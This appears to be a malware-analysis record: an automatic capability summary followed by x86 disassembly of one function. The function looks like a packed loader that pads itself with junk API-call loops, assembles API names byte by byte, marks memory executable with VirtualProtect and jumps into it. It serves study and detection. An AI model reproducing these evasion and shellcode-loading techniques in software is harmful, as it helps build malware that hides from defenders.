Function at 0x4239a0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Create pipe
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Get geographical location
Get system information on windows
Manipulate console buffer
Move file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
mov eax, 0x31f0
call fcn.0040e490
push ebx
mov ebx, dword [esp + 0x24]
push ebp
mov ebp, dword [esp + 0x68]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
xor esi, esi
cmp esi, 0x2cc42
jge 0x4239d2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x7adb8c], 0x6fb
jne 0x4239ee
push 0
push 0
lea eax, [esp + 0x208]
push eax
push 0
call edi
cmp esi, 0x1e9b2138
jle 0x423a06
cmp ebx, 0xc10b08
je 0x423a06
cmp ebp, 0x963c600
jne 0x423a0f
inc esi
cmp esi, 0x99752
jl 0x4239c4
cmp dword [0x7adb8c], 0xcf8
jne 0x423a63
fldz
sub esp, 8
fstp qword [esp]
call fcn.00405c00
fstp st(0)
fldz
fstp qword [esp]
call fcn.00405420
fstp st(0)
push 0
push 0
push 0
push 0x429e48
call fcn.00405784
push 0
call fcn.00405a8c
add esp, 0x1c
push 0
push 0
call fcn.00405577
add esp, 8
push 0
call fcn.00405a3a
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
xor esi, esi
cmp esi, 0x408
jne 0x423a84
mov eax, 0x5d1
add dword [0x7adb8c], eax
cmp dword [0x7adb8c], 3
jne 0x423ab0
xor ecx, ecx
lea eax, [esp + 0x30]
push eax
push ecx
push ecx
push 0x404a50
push ecx
mov dword [esp + 0x48], ecx
call edi
push 0
push 0
lea edx, [esp + 0x208]
push edx
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x423a71
mov eax, dword [0x7adb8c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x42ebdc], eax
mov eax, dword [0x7adb8c]
xor esi, esi
test eax, eax
je 0x423b32
mov ebp, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessVersion]
lea esp, [esp]
cmp eax, 0xfe
jne 0x423b05
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
call fcn.00423550
mov eax, dword [0x7adb8c]
cmp eax, 0x29
jne 0x423b2d
push 0
push 0
lea ecx, [esp + 0x608]
push ecx
push 0
call edi
push 0
call ebx
mov eax, dword [0x7adb8c]
inc esi
cmp esi, eax
jb 0x423af0
cmp eax, 0x70
jne 0x423c9a
push 0x4048c4
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x404a24
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push 0
push 0x404a3c
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
lea edx, [esp + 0x2200]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0
lea eax, [esp + 0xe04]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
mov ecx, dword [esp + 0x30]
push 0
push 0
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
push 0
lea edx, [esp + 0x204]
push edx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
push 0x404ae4
push 0x404b18
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call esi
call esi
push 0
push 0x404b40
push 0x404b78
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0x404bd0
lea eax, [esp + 0x1a04]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x404c68
lea ecx, [esp + 0x1604]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor eax, eax
lea edx, [esp + 0x3c]
push edx
push eax
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
push 0
push 0
lea eax, [esp + 0x608]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push 0
lea ecx, [esp + 0x2a04]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push 0x404cc8
push 0x404b9c
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov eax, dword [0x7adb8c]
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov edi, dword [sym.imp.KERNEL32.dll_FindClose]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
mov dword [esp + 0x30], 0x9682ab
lea ebx, [ebx]
cmp eax, 3
jne 0x423cda
lea edx, [esp + 0xc0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [0x7adb8c]
cmp eax, 0xdf
jne 0x423e2d
push 0
push 0
push 0
call esi
push 0
call edi
xor eax, eax
lea edx, [esp + 0x54]
push edx
push eax
push eax
lea ecx, [esp + 0x60c]
push ecx
push eax
mov dword [esp + 0x48], eax
call ebp
push 0
push 0
push 0
call ebx
push 0x404cbc
push 0x404d30
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentActCtx]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x50]
push edx
push 0
lea eax, [esp + 0x6c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0x404d70
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
lea ecx, [esp + 0x38]
push ecx
push 0x404e50
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
lea edx, [esp + 0x58]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommMask]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x404eb4
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor eax, eax
lea ecx, [esp + 0x3c]
push ecx
push eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
push 0x30
push 0
lea edx, [esp + 0x98]
mov dword [esp + 0x94], 0
push edx
call fcn.00407020
add esp, 0xc
push 0
lea eax, [esp + 0x90]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x404d54
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov eax, dword [0x7adb8c]
dec dword [esp + 0x30]
jne 0x423cc0
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x12dba7f4
push 0
call edi
push 0
call ebx
dec esi
jne 0x423e48
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x429e48
mov dword [0x429e4c], 0x32336c65
mov dword [0x429e50], 0x6c6c642e
mov dword [0x429e48], 0x6e72656b
mov byte [0x429e54], 0
call ebp
mov edx, dword [0x7adb8c]
lea ecx, [esp + 0x38]
push ecx
push 0x40
mov dword [0x7adb88], eax
mov eax, dword [0x42ebdc]
push edx
push eax
mov byte [0x429e53], 0x65
mov dword [0x429e49], 0x75747269
mov word [0x429e4d], 0x6c61
mov byte [0x429e48], 0x56
mov word [0x429e54], 0x7463
mov byte [0x429e56], 0
mov dword [0x429e4f], 0x746f7250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004237e0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
lea ebx, [ebx]
cmp dword [0x7adb8c], 0xba
jne 0x423f09
lea ecx, [esp + 0x38]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x423f1c
mov eax, 0x4a24
add dword [0x42ebdc], eax
inc esi
cmp esi, 0x1605a
jl 0x423ef0
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownA]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov ebx, 0xf2b8b
cmp dword [0x7adb8c], 0x21
jne 0x423f4d
push 0
call esi
push 0
push 0
push 0
push 0
call edi
dec ebx
jne 0x423f36
mov edx, 0x73
mov eax, 0x6d
mov word [0x7adb92], dx
mov word [0x7adb96], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0x7adb9a], cx
mov word [0x7adba6], ax
mov word [0x7adb98], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0x7adb90
mov dword [0x7adba0], 0x6c0064
mov word [0x7adb94], ax
mov word [0x7adb90], cx
mov word [0x7adba4], dx
mov dword [0x7adb9c], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x7adb8c], 0xc30
jne 0x424037
push 0x404ec0
call ebp
push ebx
call dword [sym.imp.KERNEL32.dll__lclose]
push 0x404e34
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0x404f04
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
lea edx, [esp + 0x604]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_VerLanguageNameA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommMask]
lea eax, [esp + 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret